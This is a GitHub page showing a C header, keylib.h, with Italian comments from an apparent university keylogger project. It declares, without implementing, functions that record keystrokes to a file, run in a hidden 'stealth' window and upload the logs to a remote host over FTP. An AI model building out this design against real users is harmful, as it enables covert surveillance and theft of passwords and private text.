-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathkeylib.h
116 lines (88 loc) · 2.24 KB
/
keylib.h
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
/*
* @file keylib.h
* @brief Libreria per il keylogging.
*
* @author Federico Turrin (<[email protected]>)
* @author Leonardo Antichi (<[email protected]>)
* @version 2.0
* @since 2.0
*
* @copyright Copyright (c) 2017-2018 University of Padua, Italy
* @copyright Copyright (c) 2017-2018 University of Roma 3, Italy
* @copyright Apache License, Version 2.0
*/
/* Libreria per le standard definitions */
#include <stddef.h>
/**
* @brief Scrive un carattere nel file di testo.
*
* @param ll carattere da scrivere
*
* @return Niente
*/
void writeChar(char c);
/**
* @brief Scrive una stringa nel file di testo.
*
* @param La stringa da scrivere
*
* @return Niente
*/
void writeString(char *s);
/**
* @brief Verifica se e' presente la sequenza di uscita.
*
* @param Nessuno
*
* @return 0 se non e' stata digitata la sequenza di uscita.
* @return 1 se e' stata digitata la sequenza di uscita.
*/
int isEnd();
/**
* @brief Verifica se e' presente un precedente file di log con la sequenza di termine.
*
* @param nessuno
*
* @return 0 se la sequenza di termine non e' presente oppure il log viene cancellato.
* @return 1 se viene deciso di uscire dal programma.
*/
int isCollision();
/**
* @brief Cancella il primo enter causato dall'avvio del programma
*
* @param nessuno
*
* @return 0 se il procedimento non e' andato a buon termine.
* @return 1 se il procedimento va a buon termine.
*/
int clearText();
/**
* @brief Scrittura caratteri digitati da tastiera su file di testo.
*
* @details Digitare la sequenza di termine per uscire.
* @details Firma in testa al file
* @details Firma in coda al file
* @details La funzione e' pensata per lavorare su tastiera con layout ITALIANO
*
* @return 0 se c'e' stato un errore
* @return 1 se viene eseguito tutto correttamente
*/
int getKeys();
/**
* @brief Crea una finestra stealth.
*
* @details La finestra non sara' visibile
* @details Digitare la sequenza di termine per uscire.
*
* @return Nessuno
*/
void Stealth();
/**
* @brief Crea una connessione ftp.
*
* @details La finestra non sara' visibile
* @details Esegue l'upload remoto dei files
*
* @return Nessuno
*/
int magic();